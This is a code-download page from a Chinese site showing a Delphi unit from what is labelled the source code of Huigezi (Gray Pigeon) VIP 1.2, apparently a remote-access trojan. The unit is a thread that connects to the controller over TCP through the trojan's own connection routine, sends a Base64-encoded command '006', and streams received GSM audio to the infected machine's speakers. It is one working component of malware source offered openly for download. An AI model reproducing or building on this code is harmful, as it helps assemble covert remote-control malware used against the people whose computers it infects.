⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tacmwaveoutunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit TACMWaveOutUnit;

interface

uses
  Windows,Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,MMSystem,
  soundout,mixing,soundConverter,headers;


type
  TACMWaveOutThread = class(TThread)
  private
    SysThread:TIdTCPClient;

    Acmout1 : Tacmout;
  protected

    procedure Execute; override;
  Public
    constructor Create;
    destructor Destroy; override;
  end;

implementation
uses MainServer;

constructor TACMWaveOutThread.Create;
var
  origformat: pWaveFormatEX;
  s: array[1..256] of byte;
  F: Tacmwaveformat;
begin
   inherited Create(True);

   SysThread:=TIdTCPClient.Create(nil);
   SysThread.RecvBufferSize:=32768;
   SysThread.SendBufferSize:=32768;
   
   Acmout1:= Tacmout.Create(nil);
   Acmout1.numbuffers := 4;

   GetMem(OrigFormat, Sizeof(TACMWaveFormat));

   with origformat^ do
     begin
       wformattag := 49;       // gsm 6.10 2kb
       nchannels := 1;
       nsamplespersec := 8000;
       navgbytespersec := 1625;
       nblockalign := 65;
       wbitspersample := 0;
       cbsize := 2;
       move(origformat^, s, Sizeof(TACMWaveFormat));
       s[18] := 0;
       s[19] := 64;
       s[20] := 1;
       move(s, f.format, sizeof(Tacmwaveformat));
     end;
   freemem(origformat);

   try
      Acmout1.Open(f);
   except
      Acmout1.Close;
   end;
   
   FreeOnTerminate:=True;
   Suspended := false;
  // Priority:=tpIdle;
end;


procedure TACMWaveOutThread.Execute;
var
  FileLen,i:integer;
  NumRead, NumWritten: Integer;
  Request:String;
  mdata: array[1..512] of char;
begin
   if HgzFsbSDns.ConRpcport(SysThread) then
     begin
       try
         Request:='006';
         Request:=EncodeBase64(Request);
         SysThread.Write(Request+EOL);
       except
         SysThread.Free;
         Self.Terminate;
         exit;
       end;
       try    //循环接收语音
         repeat
           SysThread.ReadBuffer(mdata,Sizeof(mdata));
           Acmout1.Play(@mdata[1],Sizeof(mdata));
         until (Terminated=False)and(SysThread.Connected=False);
       except
       end;
    end;
    //Acmout1.Free;
    SysThread.Disconnect;
    SysThread.Free;
    Self.Terminate;
end;

destructor TACMWaveOutThread.Destroy;
begin
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -